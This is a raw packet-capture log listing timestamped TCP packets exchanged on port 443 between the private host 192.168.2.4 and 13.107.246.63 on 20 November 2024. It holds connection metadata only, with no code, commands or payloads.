Nov 20, 2024 21:05:21.848041058 CET	49858	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.848053932 CET	443	49858	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.994016886 CET	443	49859	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.995012045 CET	49859	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.995109081 CET	443	49859	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.995240927 CET	49859	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.995258093 CET	443	49859	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.237206936 CET	443	49857	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.237293005 CET	443	49857	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.237500906 CET	49857	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.237586975 CET	49857	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.237586975 CET	49857	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.237632036 CET	443	49857	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.237664938 CET	443	49857	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.240525007 CET	49861	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.240561008 CET	443	49861	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.240645885 CET	49861	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.240816116 CET	49861	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.240830898 CET	443	49861	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.283477068 CET	443	49856	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.283679008 CET	443	49856	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.283840895 CET	49856	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.283993959 CET	49856	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.283993959 CET	49856	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.284018993 CET	443	49856	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.284032106 CET	443	49856	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.286396980 CET	49862	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.286432981 CET	443	49862	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.286511898 CET	49862	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.286667109 CET	49862	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.286678076 CET	443	49862	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.325809956 CET	443	49858	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.325969934 CET	443	49858	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.326217890 CET	49858	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.326217890 CET	49858	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.326217890 CET	49858	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.328933954 CET	49863	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.328953028 CET	443	49863	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.329049110 CET	49863	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.329216957 CET	49863	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.329231977 CET	443	49863	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.438484907 CET	443	49859	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.438568115 CET	443	49859	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.438790083 CET	49859	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.439029932 CET	49859	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.439076900 CET	443	49859	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.439111948 CET	49859	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.439127922 CET	443	49859	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.442226887 CET	49864	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.442259073 CET	443	49864	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.442380905 CET	49864	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.442529917 CET	49864	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.442544937 CET	443	49864	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:22.627320051 CET	49858	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:22.627360106 CET	443	49858	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:23.776482105 CET	443	49860	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:23.779294014 CET	49860	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:23.779325008 CET	443	49860	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:23.779745102 CET	49860	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:23.779750109 CET	443	49860	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.199995041 CET	443	49861	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.200613022 CET	49861	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.200632095 CET	443	49861	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.201075077 CET	49861	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.201081038 CET	443	49861	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.239087105 CET	443	49862	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.239768028 CET	49862	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.239782095 CET	443	49862	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.240057945 CET	49862	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.240062952 CET	443	49862	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.256011963 CET	443	49863	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.256319046 CET	49863	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.256328106 CET	443	49863	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.256690979 CET	49863	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.256702900 CET	443	49863	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.301631927 CET	443	49864	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.302228928 CET	49864	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.302254915 CET	443	49864	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.302706003 CET	49864	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.302712917 CET	443	49864	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.316330910 CET	443	49860	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.316490889 CET	443	49860	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.316559076 CET	49860	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.316621065 CET	49860	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.316634893 CET	443	49860	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.316643953 CET	49860	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.316648960 CET	443	49860	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.319592953 CET	49865	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.319624901 CET	443	49865	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.319713116 CET	49865	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.319863081 CET	49865	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.319869041 CET	443	49865	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.711102962 CET	443	49861	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.711302996 CET	443	49861	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.711371899 CET	49861	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.711464882 CET	49861	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.711492062 CET	443	49861	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.711505890 CET	49861	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.711512089 CET	443	49861	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.714200020 CET	49866	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.714236975 CET	443	49866	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.714329004 CET	49866	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.714495897 CET	49866	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.714507103 CET	443	49866	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.725950956 CET	443	49863	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.726046085 CET	443	49863	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.726104021 CET	49863	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.726207972 CET	49863	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.726216078 CET	443	49863	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.726226091 CET	49863	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.726229906 CET	443	49863	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.729032040 CET	49867	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.729069948 CET	443	49867	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.729145050 CET	49867	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.729266882 CET	49867	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.729278088 CET	443	49867	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.731288910 CET	443	49862	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.731486082 CET	443	49862	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.731544018 CET	49862	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.731574059 CET	49862	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.731585026 CET	443	49862	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.731597900 CET	49862	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.731602907 CET	443	49862	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.733350992 CET	49868	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.733386993 CET	443	49868	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.733460903 CET	49868	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.733562946 CET	49868	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.733592987 CET	443	49868	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.761960983 CET	443	49864	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.762156963 CET	443	49864	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.762245893 CET	49864	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.762301922 CET	49864	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.762303114 CET	49864	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.762319088 CET	443	49864	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.762330055 CET	443	49864	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.764345884 CET	49869	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.764396906 CET	443	49869	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:24.764465094 CET	49869	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.764581919 CET	49869	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:24.764595032 CET	443	49869	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.337304115 CET	443	49865	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.340270042 CET	49865	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.340286016 CET	443	49865	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.340776920 CET	49865	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.340783119 CET	443	49865	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.568531990 CET	443	49868	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.569096088 CET	49868	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.569128036 CET	443	49868	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.569611073 CET	49868	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.569618940 CET	443	49868	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.574788094 CET	443	49867	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.575341940 CET	49867	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.575360060 CET	443	49867	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.576005936 CET	49867	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.576009989 CET	443	49867	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.600195885 CET	443	49866	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.600642920 CET	49866	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.600661993 CET	443	49866	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.601116896 CET	49866	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.601120949 CET	443	49866	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.662061930 CET	443	49869	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.668036938 CET	49869	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.668056011 CET	443	49869	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.668484926 CET	49869	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.668489933 CET	443	49869	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.789524078 CET	443	49865	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.789597034 CET	443	49865	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.789678097 CET	49865	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.789901018 CET	49865	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.789901018 CET	49865	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.789915085 CET	443	49865	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.789925098 CET	443	49865	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.792924881 CET	49870	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.792964935 CET	443	49870	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:26.793133974 CET	49870	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.793273926 CET	49870	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:26.793286085 CET	443	49870	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.018584967 CET	443	49868	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.018748999 CET	443	49868	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.019017935 CET	49868	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.019017935 CET	49868	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.019017935 CET	49868	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.021853924 CET	49871	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.021895885 CET	443	49871	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.021972895 CET	49871	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.022102118 CET	49871	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.022115946 CET	443	49871	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.044466019 CET	443	49867	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.044575930 CET	443	49867	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.044764042 CET	49867	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.044795990 CET	49867	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.044795990 CET	49867	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.044806957 CET	443	49867	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.044816971 CET	443	49867	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.048018932 CET	49872	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.048034906 CET	443	49872	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.048142910 CET	49872	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.048264980 CET	49872	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.048280954 CET	443	49872	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.060240030 CET	443	49866	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.060332060 CET	443	49866	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.060451031 CET	49866	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.060585976 CET	49866	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.060585976 CET	49866	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.060602903 CET	443	49866	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.060612917 CET	443	49866	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.063114882 CET	49873	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.063137054 CET	443	49873	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.063218117 CET	49873	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.063379049 CET	49873	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.063390970 CET	443	49873	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.106990099 CET	443	49869	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.107057095 CET	443	49869	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.107305050 CET	49869	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.107336044 CET	49869	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.107345104 CET	443	49869	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.107358932 CET	49869	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.107363939 CET	443	49869	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.110114098 CET	49874	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.110143900 CET	443	49874	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.110351086 CET	49874	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.110351086 CET	49874	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.110379934 CET	443	49874	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:27.330502033 CET	49868	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:27.330530882 CET	443	49868	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:28.580883980 CET	443	49870	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:28.627335072 CET	49870	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:28.655844927 CET	49870	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:28.655858994 CET	443	49870	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:28.660648108 CET	49870	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:28.660654068 CET	443	49870	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.008060932 CET	443	49871	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.008584976 CET	49871	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.008613110 CET	443	49871	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.009274960 CET	49871	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.009280920 CET	443	49871	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.009500980 CET	443	49873	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.009886026 CET	49873	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.009897947 CET	443	49873	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.010252953 CET	49873	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.010258913 CET	443	49873	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.017031908 CET	443	49872	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.017436028 CET	49872	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.017457008 CET	443	49872	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.017817974 CET	49872	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.017824888 CET	443	49872	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.037359953 CET	443	49870	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.037444115 CET	443	49870	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.037492990 CET	49870	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.037605047 CET	49870	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.037620068 CET	443	49870	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.037630081 CET	49870	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.037635088 CET	443	49870	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.040865898 CET	49875	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.040901899 CET	443	49875	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.040973902 CET	49875	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.041131020 CET	49875	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.041147947 CET	443	49875	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.053210020 CET	443	49874	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.053699017 CET	49874	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.053718090 CET	443	49874	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.054270983 CET	49874	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.054275990 CET	443	49874	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.455473900 CET	443	49873	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.455544949 CET	443	49873	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.455657005 CET	49873	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.455948114 CET	49873	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.455948114 CET	49873	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.455969095 CET	443	49873	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.455981016 CET	443	49873	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.459497929 CET	49876	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.459541082 CET	443	49876	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.459628105 CET	49876	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.459844112 CET	49876	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.459858894 CET	443	49876	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.465236902 CET	443	49871	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.465305090 CET	443	49871	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.465367079 CET	49871	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.465533972 CET	49871	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.465545893 CET	443	49871	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.465554953 CET	49871	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.465559006 CET	443	49871	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.468548059 CET	49877	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.468592882 CET	443	49877	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.468667984 CET	49877	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.468830109 CET	49877	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.468851089 CET	443	49877	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.502304077 CET	443	49872	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.502398968 CET	443	49872	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.502453089 CET	49872	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.502660990 CET	49872	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.502687931 CET	443	49872	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.502705097 CET	49872	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.502712965 CET	443	49872	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.506433010 CET	49878	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.506472111 CET	443	49878	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.506545067 CET	49878	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.506721020 CET	49878	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.506731033 CET	443	49878	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.516901016 CET	443	49874	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.516966105 CET	443	49874	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.517023087 CET	49874	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.517285109 CET	49874	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.517297983 CET	443	49874	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.517307997 CET	49874	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.517312050 CET	443	49874	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.521908998 CET	49879	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.521958113 CET	443	49879	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:29.522089005 CET	49879	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.522408962 CET	49879	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:29.522423029 CET	443	49879	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:30.839381933 CET	443	49875	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:30.844681025 CET	49875	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:30.844722986 CET	443	49875	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:30.845110893 CET	49875	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:30.845118999 CET	443	49875	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.283838987 CET	443	49875	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.284013033 CET	443	49875	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.284137964 CET	49875	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.296420097 CET	49875	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.296420097 CET	49875	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.296458960 CET	443	49875	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.296472073 CET	443	49875	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.312412024 CET	443	49876	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.325362921 CET	49876	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.325403929 CET	443	49876	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.325845957 CET	49876	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.325853109 CET	443	49876	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.354765892 CET	49880	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.354800940 CET	443	49880	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.354865074 CET	49880	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.357523918 CET	443	49878	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.361452103 CET	49880	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.361466885 CET	443	49880	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.364958048 CET	49878	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.364984989 CET	443	49878	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.365397930 CET	49878	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.365405083 CET	443	49878	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.389025927 CET	443	49879	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.391009092 CET	49879	443	192.168.2.4	13.107.246.63
